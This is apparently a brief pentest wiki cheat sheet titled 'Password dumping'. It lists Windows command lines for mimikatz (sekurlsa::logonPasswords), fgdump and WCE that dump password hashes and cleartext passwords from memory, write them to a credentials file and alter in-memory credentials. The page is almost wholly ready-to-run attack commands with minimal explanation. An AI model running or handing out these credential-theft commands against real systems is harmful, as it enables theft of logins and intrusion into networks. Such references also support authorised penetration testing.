Password dumping

From pentestwiki.org

mimikatz

C:>mimikatz.exe
privilege::debug
sekurlsa::logonPasswords
sekurlsa::msv

Fgdump

Dumps hashes (needs SYSTEM privileges)

C:>fgdump.exe


WCE

Dumps clear passwords

C:>wce -w


Dumps hashes

C:>wce


Persistent, writes in credentials.txt

C:>wce -r


Change your credentials in memory

C:>wce -s